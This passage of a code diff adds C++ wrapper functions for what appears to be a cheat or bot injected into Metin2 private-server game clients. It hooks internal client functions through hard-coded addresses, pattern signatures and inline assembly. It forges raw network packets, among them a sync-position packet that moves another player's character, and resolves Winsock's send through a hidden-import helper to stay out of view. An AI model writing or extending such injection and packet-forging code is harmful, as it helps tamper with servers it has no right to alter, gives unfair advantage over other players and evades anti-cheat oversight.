NetworkStreamSendItemUseToItemPacket(TItemPos cell, TItemPos target) + { + try + { + Globals::CPythonNetworkStreamSendItemUseToItemPacket((void*)Globals::iCPythonNetworkStreamInstance, cell, target); + } + catch (...) + { + + } + } + //################################################################################################################################# + static void NetworkStreamSendChatPacket(const char* c_szChat, BYTE byType = CHAT_TYPE_TALKING) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonNetSendChatPacket) + { + PythonExtension::CallPythonStringInt(Globals::CythonNetSendChatPacket, c_szChat, byType); + } + else + { + Globals::CPythonNetworkStreamSendChatPacket((void*)Globals::iCPythonNetworkStreamInstance, c_szChat, byType); + } + } + catch (...) + { + + } + } + //################################################################################################################################# + static bool NetworkStreamSendRefinePacket(BYTE pos, BYTE type) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonNetSendRefinePacket) + { + PythonExtension::CallPythonInteger2(Globals::CythonNetSendRefinePacket, pos, type); + return true; + } + else + { + switch (Globals::Server) + { + case ServerName::AELDRA: + { + try + { + typedef bool(__thiscall* SendRefinePacket)(void* This, BYTE byPos, BYTE byType, bool unk); + SendRefinePacket sendRefine = (SendRefinePacket)Globals::pCPythonNetworkStreamSendRefinePacket; + return sendRefine((void*)Globals::iCPythonNetworkStreamInstance, pos, type, 0); + } + catch (...) + { + return false; + } + break; + } + case ServerName::CALLIOPE2: + { + try + { + typedef bool(__thiscall* SendRefinePacket)(void* This, BYTE byPos, BYTE byType, BYTE unk1, BYTE unk2, BYTE unk3, BYTE unk4); + SendRefinePacket sendRefine = (SendRefinePacket)Globals::pCPythonNetworkStreamSendRefinePacket; + return sendRefine((void*)Globals::iCPythonNetworkStreamInstance, pos, type, 0, 0, 0, 0); + } + catch (...) + { + return false; + } + break; + } + default: + { + return Globals::CPythonNetworkStreamSendRefinePacket((void*)Globals::iCPythonNetworkStreamInstance, pos, type); + break; + } + } + } + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static bool NetworkStreamSendSendExchangeStartPacket(DWORD vid) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonNetSendExchangeStartPacket) + { + PythonExtension::CallPythonInteger1(Globals::CythonNetSendExchangeStartPacket, vid); + return true; + } + else + { + return Globals::CPythonNetworkStreamSendExchangeStartPacket((void*)Globals::iCPythonNetworkStreamInstance, vid); + } + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static bool NetworkStreamSendSendExchangeItemAddPacket(TItemPos ItemPos, BYTE byDisplayPos) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonNetSendExchangeItemAddPacket) + { + PythonExtension::CallPythonInteger3(Globals::CythonNetSendExchangeItemAddPacket, ItemPos.window_type, ItemPos.window_type, byDisplayPos); + return true; + } + else + { + return Globals::CPythonNetworkStreamSendExchangeItemAddPacket((void*)Globals::iCPythonNetworkStreamInstance, ItemPos, byDisplayPos); + } + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static bool NetworkStreamSendSendExchangeAcceptPacket() + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonNetSendExchangeAcceptPacket) + { + PythonExtension::CallPython(Globals::CythonNetSendExchangeAcceptPacket); + return true; + } + else + { + return Globals::CPythonNetworkStreamSendExchangeAcceptPacket((void*)Globals::iCPythonNetworkStreamInstance); + } + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static bool NetworkStreamSendWhisperPacket(const char* name, string s_szChat) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonNetSendWhisperPacket) + { + PythonExtension::CallPythonString2(Globals::CythonNetSendWhisperPacket, name, s_szChat.c_str()); + return true; + } + else + { + switch (Globals::Server) + { + case ServerName::AELDRA: + { + try + { + typedef bool(__thiscall* SendWhisperPacket)(void* This, const char* name, const char* c_szChat, bool unk); + SendWhisperPacket sendWhisper = (SendWhisperPacket)Globals::pCPythonNetworkStreamSendWhisperPacket; + return sendWhisper((void*)Globals::iCPythonNetworkStreamInstance, name, s_szChat.c_str(), false); + } + catch (...) + { + return false; + } + break; + } + default: + { + return Globals::CPythonNetworkStreamSendWhisperPacket((void*)Globals::iCPythonNetworkStreamInstance, name, s_szChat.c_str()); + break; + } + } + } + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static bool NetworkStreamSendItemPickUpPacket(DWORD vid) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonNetSendItemPickUpPacket) + { + PythonExtension::CallPythonInteger1(Globals::CythonNetSendItemPickUpPacket, vid); + return true; + } + else + { + return Globals::CPythonNetworkStreamSendItemPickUpPacket((void*)Globals::iCPythonNetworkStreamInstance, vid); + } + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static bool NetworkStreamSendItemDropPacketNew(TItemPos cell, DWORD elk, DWORD count) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonNetSendItemDropPacketNew) + { + PythonExtension::CallPythonInteger3(Globals::CythonNetSendItemDropPacketNew, cell.window_type, cell.cell, count); + return true; + } + else + { + return Globals::CPythonNetworkStreamSendItemDropPacketNew((void*)Globals::iCPythonNetworkStreamInstance, cell, elk, count); + } + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static bool NetworkStreamSendOnClickPacket(DWORD vid) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonNetSendOnClickPacket) + { + PythonExtension::CallPythonInteger1(Globals::CythonNetSendOnClickPacket, vid); + return true; + } + else + { + return Globals::CPythonNetworkStreamSendOnClickPacket((void*)Globals::iCPythonNetworkStreamInstance, vid); + } + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static bool NetworkStreamSendShopSellPacketNew(BYTE bySlot, WORD byCount) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonNetSendShopSellPacketNew) + { + PythonExtension::CallPythonInteger2(Globals::CythonNetSendShopSellPacketNew, bySlot, byCount); + return true; + } + else + { + switch (Globals::Server) + { + case ServerName::METINPL: + { + typedef bool(__thiscall* SendShopSellPacketNew)(void* This, BYTE bySlot, WORD byCount, BYTE unk); + SendShopSellPacketNew SendShopSell = (SendShopSellPacketNew)Globals::pCPythonNetworkStreamSendShopSellPacketNew; + SendShopSell((void*)Globals::iCPythonNetworkStreamInstance, bySlot, byCount, 1); + break; + } + default: + { + return Globals::CPythonNetworkStreamSendShopSellPacketNew((void*)Globals::iCPythonNetworkStreamInstance, bySlot, byCount); + break; + } + } + } + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static bool NetworkStreamSendShopBuyPacket(BYTE bPos) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonNetSendShopBuyPacket) + { + PythonExtension::CallPythonInteger1(Globals::CythonNetSendShopBuyPacket, bPos); + return true; + } + else + { + return Globals::CPythonNetworkStreamSendShopBuyPacket((void*)Globals::iCPythonNetworkStreamInstance, bPos); + } + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static bool NetworkStreamSendShopEndPacket() + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonNetSendShopEndPacket) + { + PythonExtension::CallPython(Globals::CythonNetSendShopEndPacket); + return true; + } + else + { + return Globals::CPythonNetworkStreamSendShopEndPacket((void*)Globals::iCPythonNetworkStreamInstance); + } + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static bool NetworkStreamSendGiveItemPacket(DWORD dwTargetVID, TItemPos ItemPos, int iItemCount) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonNetSendGiveItemPacket) + { + PythonExtension::CallPythonInteger4(Globals::CythonNetSendGiveItemPacket, dwTargetVID, ItemPos.window_type, ItemPos.cell, iItemCount); + return true; + } + else + { + return Globals::CPythonNetworkStreamSendGiveItemPacket((void*)Globals::iCPythonNetworkStreamInstance, dwTargetVID, ItemPos, iItemCount); + } + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static bool NetworkStreamSendItemMovePacket(TItemPos pos, TItemPos change_pos, BYTE num) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonNetSendItemMovePacket) + { + PythonExtension::CallPythonInteger5(Globals::CythonNetSendItemMovePacket, pos.window_type, pos.cell, change_pos.window_type, change_pos.cell, num); + return true; + } + else + { + return Globals::CPythonNetworkStreamSendItemMovePacket((void*)Globals::iCPythonNetworkStreamInstance, pos, change_pos, num); + } + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static void NetworkStreamConnectGameServer(UINT iChrSlot) + { + try + { + if (Globals::Server == ServerName::Ernidia) + { + typedef void(__thiscall* tCPythonNetworkStreamConnectGameServer)(void* This, UINT iChrSlot, int additional); + tCPythonNetworkStreamConnectGameServer ConnectGameServer = (tCPythonNetworkStreamConnectGameServer)Globals::pCPythonNetworkStreamConnectGameServer; + return ConnectGameServer((void*)Globals::iCPythonNetworkStreamInstance, iChrSlot, 0); + } + else + { + Globals::CPythonNetworkStreamConnectGameServer((void*)Globals::iCPythonNetworkStreamInstance, iChrSlot); + } + if (Globals::UsePythonFunctions && Globals::CythonNetDirectEnter) + { + switch (Globals::Server) + { + case ServerName::METINPL: + { + PythonExtension::CallPythonInteger2(Globals::CythonNetDirectEnter, iChrSlot, 0); + break; + } + default: + { + PythonExtension::CallPythonInteger1(Globals::CythonNetDirectEnter, iChrSlot); + break; + } + } + } + else + { +#if defined(EGORIA) || defined(SENTHIA) + Globals::CPythonNetworkStreamConnectGameServer((void*)Globals::iCPythonNetworkStreamInstance, iChrSlot, 0); +#else + Globals::CPythonNetworkStreamConnectGameServer((void*)Globals::iCPythonNetworkStreamInstance, iChrSlot); +#endif + } + } + catch (...) + { + + } + } + //################################################################################################################################# + static bool NetworkStreamIsOnline() + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonNetIsConnect) + { + return PythonExtension::GetPythonInt(Globals::CythonNetIsConnect); + } + else + { + return Globals::CNetworkStreamIsOnline((void*)Globals::iCPythonNetworkStreamInstance); + } + } + catch (...) + { + return false; + } + } + //########################################################################## b nm, ####################################################### + static DWORD NetworkStreamGetMainActorSkillGroup() + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonNetGetMainActorSkillGroup) + { + return PythonExtension::GetPythonInt(Globals::CythonNetGetMainActorSkillGroup); + } + else + { + return Globals::CPythonNetworkStreamGetMainActorSkillGroup((void*)Globals::iCPythonNetworkStreamInstance); + } + } + catch (...) + { + return 0; + } + } + //################################################################################################################################# + static const char* NetworkStreamGetAccountCharacterSlotDataz(UINT iSlot, UINT eType) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonNetGetAccountCharacterSlotData) + { + return PythonExtension::GetPythonString2(Globals::CythonNetGetAccountCharacterSlotData, iSlot, eType); + } + else + { + return Globals::CNetworkStreamGetAccountCharacterSlotDataz((void*)Globals::iCPythonNetworkStreamInstance, iSlot, eType); + } + } + catch (...) + { + return ""; + } + } + //################################################################################################################################# + static bool NetworkStreamSendCommandPacket(DWORD a1, DWORD a2, const char* a3) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonNetSendCommandPacket) + { + PythonExtension::CallPythonIntIntString(Globals::CythonNetSendCommandPacket, a1, a2, a3); + return true; + } + else + { + return Globals::CPythonNetworkStreamSendCommandPacket((void*)Globals::iCPythonNetworkStreamInstance, a1, a2, a3); + } + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static bool NetworkStreamConnect(DWORD dwAddr, int port, int limitSec = 3) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonNetConnectTCP) + { + char szAddr[256]; + { + BYTE ip[4]; + ip[0] = dwAddr & 0xff; dwAddr >>= 8; + ip[1] = dwAddr & 0xff; dwAddr >>= 8; + ip[2] = dwAddr & 0xff; dwAddr >>= 8; + ip[3] = dwAddr & 0xff; dwAddr >>= 8; + + sprintf(szAddr, "%d.%d.%d.%d", ip[0], ip[1], ip[2], ip[3]); + } + + PythonExtension::CallPythonStringInt(Globals::CythonNetConnectTCP, szAddr, port); + return true; + } + else + { + return Globals::CNetworkStreamConnect((void*)Globals::iCPythonNetworkStreamInstance, dwAddr, port, limitSec); + } + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static bool NetworkStreamSendScriptAnswerPacket(int iAnswer) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonEventSelectAnswer) + { + PythonExtension::CallPythonInteger2(Globals::CythonEventSelectAnswer, 0, iAnswer); + return true; + } + else + { + return Globals::CPythonNetworkStreamSendScriptAnswerPacket((void*)Globals::iCPythonNetworkStreamInstance, iAnswer); + } + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static void NetworkStreamServerCommand(const char* c_szCommand) + { + try + { + return Globals::CPythonNetworkStreamServerCommand((void*)Globals::iCPythonNetworkStreamInstance, c_szCommand); + } + catch (...) + { + } + } + //################################################################################################################################# + static bool NetworkStreamSendFishingPacket(int rot) + { + try + { + return Globals::CPythonNetworkStreamSendFishingPacket((void*)Globals::iCPythonNetworkStreamInstance, rot); + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static bool NetworkStreamSendFishingQuitPacket(int count, float rot) + { + try + { + return Globals::CPythonNetworkStreamSendFishingQuitPacket((void*)Globals::iCPythonNetworkStreamInstance, count, rot); + } + catch (...) + { + return false; + } + } + + static bool NetworkStreamSendEmoticon(BYTE emoticon) + { + try + { + return Globals::CPythonNetworkStreamSendEmoticon((void*)Globals::iCPythonNetworkStreamInstance, emoticon); + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static bool NetworkStreamSendSpecial(int nLen, void* pvBuf) + { + try + { + return Globals::CPythonNetworkStreamSendSpecial((void*)Globals::iCPythonNetworkStreamInstance, nLen, pvBuf); + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static bool NetworkStreamSendAttackPacket(UINT uMotAttack, DWORD dwVIDVictim) + { + try + { + return Globals::CPythonNetworkStreamSendAttackPacket((void*)Globals::iCPythonNetworkStreamInstance, uMotAttack, dwVIDVictim); + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static bool NetworkStreamSendUseSkillPacket(DWORD dwSkillIndex, DWORD dwTargetVID) + { + try + { + return Globals::CPythonNetworkStreamSendUseSkillPacket((void*)Globals::iCPythonNetworkStreamInstance, dwSkillIndex, dwTargetVID); + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static bool NetworkStreamSendAddFlyTargetingPacket(DWORD dwTargetVID, D3DVECTOR& kPPosTarget) + { + try + { + return Globals::CPythonNetworkStreamSendAddFlyTargetingPacket((void*)Globals::iCPythonNetworkStreamInstance, dwTargetVID, kPPosTarget); + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static bool NetworkStreamSendShootPacket(UINT uSkill) + { + try + { + return Globals::CPythonNetworkStreamSendShootPacket((void*)Globals::iCPythonNetworkStreamInstance, uSkill); + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static bool NetworkStreamRecv(int len, void* pSrcBuf) + { + try + { + return Globals::CNetworkStreamRecv((void*)Globals::iCPythonNetworkStreamInstance, len, pSrcBuf); + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static bool NetworkStreamSend(int len, void* pSrcBuf) + { + try + { + switch (Globals::Server) + { + case ServerName::AELDRA: + { + typedef bool(__thiscall* NetworkStreamSend)(void* This, int len, void* pDestBuf, bool sendInstant); + NetworkStreamSend Send = (NetworkStreamSend)Globals::pCNetworkStreamSend; + return Send((void*)Globals::iCPythonNetworkStreamInstance, len, pSrcBuf, 0); + break; + } + default: + { + return Globals::CNetworkStreamSend((void*)Globals::iCPythonNetworkStreamInstance, len, pSrcBuf); + break; + } + } + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + /*static bool NetworkStreamPeek(int nLen, void* pvBuf) + { + return Globals::CNetworkStreamPeek((void*)Globals::iCPythonNetworkStreamInstance, nLen, pvBuf); + }*/ + //################################################################################################################################# + static bool NetworkStreamSendSequence() + { + try + { + return Globals::CNetworkStreamSendSequence((void*)Globals::iCPythonNetworkStreamInstance); + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static bool NetworkStreamSendSyncPositionPacket(DWORD dwVictimVID, DWORD dwVictimX, DWORD dwVictimY) + { + try + { + int uiVictimCount = 1; + TPacketCGSyncPosition kPacketSync; + switch (Globals::Server) + { + case ServerName::METINPL: + kPacketSync.header = 0x0D; + break; + default: + kPacketSync.header = 0x8; + break; + } + kPacketSync.wSize = sizeof(kPacketSync) + sizeof(TPacketCGSyncPositionElement) * uiVictimCount; + + if (!GameFunctions::NetworkStreamSend(sizeof(kPacketSync), &kPacketSync)) + { + return false; + } + + TPacketCGSyncPositionElement kSyncPos; + kSyncPos.dwVID = dwVictimVID; + kSyncPos.lX = dwVictimX; + kSyncPos.lY = dwVictimY; + BackgroundLocalPositionToGlobalPosition(kSyncPos.lX, kSyncPos.lY); + if (!GameFunctions::NetworkStreamSend(sizeof(kSyncPos), &kSyncPos)) + { + return false; + } + + return GameFunctions::NetworkStreamSendSequence(); + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static bool NetworkStreamSendCharacterStatePacket(const D3DVECTOR& c_rkPPosDst, float fDstRot, UINT eFunc, UINT uArg) + { + try + { + //DWORD xd = PatternScan::FindPattern("55 8B EC 8B 0D ? ? ? ? 5D E9 ? ? ? ? ? 8B 0D ? ? ? ? E8 ? ? ? ?"); + switch (Globals::Server) + { + /*case ServerName::DEVERIA:*/ + case ServerName::ASENIS: + { + typedef bool(__thiscall* tCPythonNetworkStreamSendCharacterStatePacket)(void* This, const D3DVECTOR& c_rkPPosDst, float fDstRot, UINT eFunc, UINT uArg, int unk); + tCPythonNetworkStreamSendCharacterStatePacket CPythonNetworkStreamSendCharacterStatePacket = (tCPythonNetworkStreamSendCharacterStatePacket)Globals::pCPythonNetworkStreamSendCharacterStatePacket; + return CPythonNetworkStreamSendCharacterStatePacket((void*)Globals::iCPythonNetworkStreamInstance, c_rkPPosDst, fDstRot, eFunc, uArg, 0); + break; + } + case ServerName::AELDRA: + { + TPacketCGStatePacket kPacketMove; + kPacketMove.header = 0x4E; + kPacketMove.size = sizeof(kPacketMove); + kPacketMove.unknown = 0x10; + LONG c_rkPPosDstX = c_rkPPosDst.x; + LONG c_rkPPosDstY = c_rkPPosDst.y; + GameFunctions::BackgroundLocalPositionToGlobalPosition(c_rkPPosDstX, c_rkPPosDstY); + kPacketMove.lX = c_rkPPosDstX; + kPacketMove.lY = c_rkPPosDstY; + kPacketMove.bFunc = eFunc; + kPacketMove.bArg = uArg; + kPacketMove.bRot = fDstRot / 5.0f; + typedef int(__stdcall* ELTimer_GetServerMSec)(); + ELTimer_GetServerMSec GetServerMSec = (ELTimer_GetServerMSec)(Globals::hEntryBaseAddress+ 0x369680); + kPacketMove.dwTime = GetServerMSec(); + + Globals::tCNetworkStreamSendAeldra SendPacket = (Globals::tCNetworkStreamSendAeldra)LI_FN(GetProcAddress)(LI_FN(LoadLibrary)("wsock32.dll"), "send"); + SendPacket(socketAeldra, (const char*)&kPacketMove, sizeof(kPacketMove), NULL); + break; + } + case ServerName::CarolineMT2: + { + + typedef struct command_move + { + BYTE bHeader; + BYTE bFunc; + BYTE bArg; + BYTE bRot; + LONG lX; + LONG lY; + DWORD dwTime; + } TPacketCGMove; + + + TPacketCGMove kStatePacket; + kStatePacket.bHeader = HEADER_CG_CHARACTER_MOVE; + kStatePacket.bFunc = eFunc; + kStatePacket.bArg = uArg; + kStatePacket.bRot = fDstRot / 5.0f; + kStatePacket.lX = long(c_rkPPosDst.x); + kStatePacket.lY = long(c_rkPPosDst.y); + + typedef DWORD(__cdecl* tELTimer_GetServerMSec)(); + tELTimer_GetServerMSec ELTimer_GetServerMSec = (tELTimer_GetServerMSec)(Globals::hEntryBaseAddress + 0xB09B0); //55 8B EC 8B 0D ? ? ? ? 5D E9 ? ? ? ? ? 8B 0D ? ? ? ? E8 ? ? ? ? ELTimer_GetServerMSec + kStatePacket.dwTime = ELTimer_GetServerMSec(); + + BackgroundLocalPositionToGlobalPosition(kStatePacket.lX, kStatePacket.lY); + NetworkStreamSend(sizeof(TPacketCGMove), &kStatePacket); + return NetworkStreamSendSequence(); + break; + } + case ServerName::DEVERIA: + { + DWORD address = Globals::pCPythonNetworkStreamSendCharacterStatePacket; + DWORD* instance = (DWORD*)Globals::iCPythonNetworkStreamInstance; + __asm + { + mov eax, [address] + mov ecx, instance + push [uArg] + push [eFunc] + push[fDstRot] + movss xmm2, [c_rkPPosDst] + call eax + } + break; + } + default: + { + return Globals::CPythonNetworkStreamSendCharacterStatePacket((void*)Globals::iCPythonNetworkStreamInstance, c_rkPPosDst, fDstRot, eFunc, uArg); + break; + } + } + + } + catch (...) + { + return false; + } + } + + //################################################################################################################################# + static void NetworkStream__DirectEnterMode_Set(UINT charSlot) + { + try + { + return Globals::CNetworkStream__DirectEnterMode_Set((void*)Globals::iCPythonNetworkStreamInstance, charSlot); + } + catch (...) + { + + } + } + //################################################################################################################################# + static void SelectInstancePython(DWORD vid) + { + try + { + PythonExtension::CallPythonInteger1(Globals::CythonChrSelectInstance, vid); + } + catch (...) + { + } + } + //################################################################################################################################# + static void InstanceBase__SetAffect(DWORD* instance, UINT eAffect, bool isVisible) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonChrmgrSetAffect) + { + PythonExtension::CallPythonInteger3(Globals::CythonChrmgrSetAffect, GetVIDByInstance(instance), eAffect, isVisible); + } + else + { + Globals::CInstanceBase__SetAffect(instance, eAffect, isVisible); + } + } + catch (...) + { + } + } + //################################################################################################################################# + static void InstanceBaseNEW_GetPixelPosition(DWORD* instance, D3DVECTOR* pPixelPosition) + { + if (!instance) + { + return; + } + try + { + if (Globals::UsePythonFunctions && Globals::CythonChrGetPixelPosition)//Globals::Server != METINPL) + { + *pPixelPosition = PythonExtension::GetPythonD3DVECTOR1(Globals::CythonChrGetPixelPosition, GetVIDByInstance(instance)); + } + else + { + Globals::CInstanceBaseNEW_GetPixelPosition(instance, pPixelPosition); + } + } + catch (...) + { + } + } + //################################################################################################################################# + static bool InstanceBaseNEW_MoveToDestPixelPositionDirection(DWORD* instance, D3DVECTOR& c_rkPPosDst) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonChrMoveToDestPosition) + { + DWORD vid = GetVIDByInstance(instance); + PythonExtension::CallPythonInteger3(Globals::CythonChrMoveToDestPosition, vid, c_rkPPosDst.x, c_rkPPosDst.y); + return true; + } + else + { + return Globals::CInstanceBaseNEW_MoveToDestPixelPositionDirection(instance, c_rkPPosDst); + } + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static int InstanceBaseGetInstanceType(DWORD* instance) + { + if (!instance) + { + return -1; + } + try + { + if (Globals::UsePythonFunctions && Globals::CythonChrGetInstanceType) + { + DWORD vid = GetVIDByInstance(instance); + return PythonExtension::GetPythonInteger1(Globals::CythonChrGetInstanceType, vid); + } + else + { + return Globals::CInstanceBaseGetInstanceType(instance); + } + } + catch (...) + { + return -1; + } + } + //################################################################################################################################# + static int InstanceBaseGetVirtualNumber(DWORD* instance) + { + if (!instance) + { + return -1; + } + try + { + if (Globals::UsePythonFunctions && Globals::CythonChrGetVirtualNumber) + { + DWORD vid = GetVIDByInstance(instance); + return PythonExtension::GetPythonInteger1(Globals::CythonChrGetVirtualNumber, vid); + } + else + { + return Globals::CInstanceBaseGetInstanceVirtualNumber(instance); + } + } + catch (...) + { + return -1; + } + } + //################################################################################################################################# + static bool InstanceBaseIsMountingHorse(DWORD* instance) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonPlayerIsMountingHorse) + { + return PythonExtension::GetPythonInt(Globals::CythonPlayerIsMountingHorse); + } + else + { + return Globals::CInstanceBaseIsMountingHorse(instance); + } + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static const char* InstanceBaseGetNameString(DWORD* instance) + { + if (instance) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonChrGetNameByVID) + { + DWORD vid = GetVIDByInstance(instance); + return PythonExtension::GetPythonString1(Globals::CythonChrGetNameByVID, vid); + } + else + { + Globals::CInstanceBaseGetNameString(instance); + } + } + catch (...) + { + return ""; + } + } + else + { + return ""; + } + } + //################################################################################################################################# + static void InstanceBaseSCRIPT_SetPixelPosition(DWORD* instance, float x, float y) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonChrSetPixelPosition) + { + DWORD vid = GetVIDByInstance(instance); + SelectInstancePython(vid); + PythonExtension::CallPythonInteger2(Globals::CythonChrSetPixelPosition, x, y); + } + else + { + DWORD address = Globals::pCInstanceBaseSCRIPT_SetPixelPosition; + switch (Globals::Server) + { + case ServerName::DRAGON: + case ServerName::DEVERIA: + case ServerName::VEDNAR: + case ServerName::CarolineMT2: + case ServerName::CALLIOPE2: + case ServerName::ASENIS: + { + __asm + { + mov eax, [address] + mov ecx, instance + movss xmm2, [y] + movss xmm1, [x] + call eax + } + break; + } + default: + { + Globals::CInstanceBaseSCRIPT_SetPixelPosition(instance, x, y); + break; + } + } + } + } + catch (...) + { + + } + } + //################################################################################################################################# + static const void InstanceSetRotation(DWORD* instance, float fRotation) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonChrSetRotation) + { + DWORD vid = GetVIDByInstance(instance); + SelectInstancePython(vid); + PythonExtension::CallPythonFloat1(Globals::CythonChrSetRotation, fRotation); + } + else + { + DWORD address = Globals::pCInstanceBaseSetRotation; + switch (Globals::Server) + { + case ServerName::DRAGON: + case ServerName::CALLIOPE2: + { + DWORD playerInstance = (DWORD)GameFunctions::PlayerNEW_GetMainActorPtr(); + __asm + { + mov eax, [address] + mov ecx, instance + movss xmm1, [fRotation] + call eax + } + break; + } + default: + { + Globals::CInstanceBaseSetRotation((void*)instance, fRotation); + break; + } + } + } + } + catch (...) + { + } + } + //################################################################################################################################# + static float InstanceBaseGetRotation(DWORD* instance) + { + try + { + if (Globals::UsePythonFunctions && Globals::CythonChrGetRotation) + { + DWORD vid = GetVIDByInstance(instance); + SelectInstancePython(vid); + return 360.0f - PythonExtension::GetPythonFloat(Globals::CythonChrGetRotation); + } + else + { + float rotation = 0; + DWORD address = Globals::pCInstanceBaseGetRotation; + switch (Globals::Server) + { + case ServerName::DRAGON: + case ServerName::DEVERIA: + case ServerName::VEDNAR: + case ServerName::CarolineMT2: + case ServerName::CALLIOPE2: + case ServerName::ASENIS: + { + DWORD playerInstance = (DWORD)GameFunctions::PlayerNEW_GetMainActorPtr(); + __asm + { + mov eax, [address] + mov ecx, playerInstance + call eax + movss[rotation], xmm0 + } + break; + } + default: + { + rotation = Globals::CInstanceBaseGetRotation(instance); + break; + } + } + return rotation; + } + } + catch (...) + { + return 0.0f; + } + } + //################################################################################################################################# + static const bool InstanceIsWaiting(DWORD* instance) + { + try + { + return Globals::CInstanceBaseIsWaiting((void*)instance); + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static bool InstanceBaseIsDead(DWORD* instance) + { + if (!instance) + { + return false; + } + try + { + return Globals::CInstanceBaseIsDead(instance); + } + catch (...) + { + return false; + } + } + //################################################################################################################################# + static TMobTable* NonPlayerGetTable(int vid) + { + try + { + return (TMobTable*)Globals::CPythonNonPlayerGetTable((void*)Globals::iCPythonNonPlayerInstance, vid); + } + catch (...) + { + return NULL; + } + } + //################################################################################################################################# + static void BackgroundLocalPositionToGlobalPosition(LONG& rLocalX, LONG& rLocalY) + { + try + { + return Globals::CPythonBackgroundLocalPositionToGlobalPosition((void*)Globals::iCPythonBackgroundInstance, rLocalX, rLocalY); + } + catch (...) + { + + } + } + //################################################################################################################################# + static TMapInfo* BackgroundGlobalPositionToMapInfo(DWORD dwGlobalX, DWORD dwGlobalY) + { + try + { + switch (Globals::Server) + { + case ServerName::WOM: + { + typedef TMapInfo* (__thiscall* tCPythonBackgroundGlobalPositionToMapInfo)(void* This, DWORD dwGlobalX, DWORD dwGlobalY,int unk); + tCPythonBackgroundGlobalPositionToMapInfo CPythonBackgroundGlobalPositionToMapInfo = (tCPythonBackgroundGlobalPositionToMapInfo)(Globals::pCPythonBackgroundGlobalPositionToMapInfo); + CPythonBackgroundGlobalPositionToMapInfo((void*)Globals::iCPythonBackgroundInstance, dwGlobalX, dwGlobalY,0); + break; + } + default: + { + + return Globals::CPythonBackgroundGlobalPositionToMapInfo((void*)Globals::iCPythonBackgroundInstance, dwGlobalX, dwGlobalY); + + break; + } + } + } + catch (...) + { + + } + return NULL; + } + static bool PyCallClassMemberFunc(PyObject* poClass, const char* c_szFunc, PyObject* poArgs) + { + return Globals::PyCallClassMemberFunc(poClass, c_szFunc, poArgs); + } + //################################################################################################################################# + static float GetBackgroundHeight(float x, float y) + { + try + { + DWORD address = Globals::pCInstanceBase__GetBackgroundHeight; + float height = 0; + switch (Globals::Server) + { + case ServerName::DRAGON: + case ServerName::DEVERIA: + case ServerName::CarolineMT2: + case ServerName::CALLIOPE2: + case ServerName::ASENIS: + { + DWORD* instance = PlayerNEW_GetMainActorPtr(); + if (instance) + { + __asm + { + mov eax, [address] + mov ecx, instance + movss xmm2, [y] + movss xmm1, [x] + call eax + movss[height], xmm0 + } + } + break; + } + default: + { + height = Globals::CInstanceBase__GetBackgroundHeight(x, y); + break; + } + } + return height; + } + catch (...) + { + return 0.0f; + } + } + + static DWORD* ResourceManagerGetResourcePointer(const char* name) + { + try + { + return Globals::CResourceManagerGetResourcePointer((void*)Globals::iCResourceManagerInstance, name); + } + catch (...) + { + return NULL; + } + } + //################################################################################################################################# + static void ResourceReload(DWORD* instance) + { + try + { + return Globals::CResourceReload((void*)instance); + } + catch (...) + { + } + } + //################################################################################################################################# + static DWORD* GraphicImageGetTexturePointer(DWORD* instance) + { + try + { + return Globals::CGraphicImageGetTexturePointer((void*)instance); + } + catch (...) + { + return NULL; + } + } + //################################################################################################################################# + static DirectTexture GraphicTextureGetD3DTexture(DWORD* instance) + { + try + { + return Globals::CGraphicTextureGetD3DTexture((void*)instance); + } + catch (...) + { + return NULL; + } + } +}; + diff --git 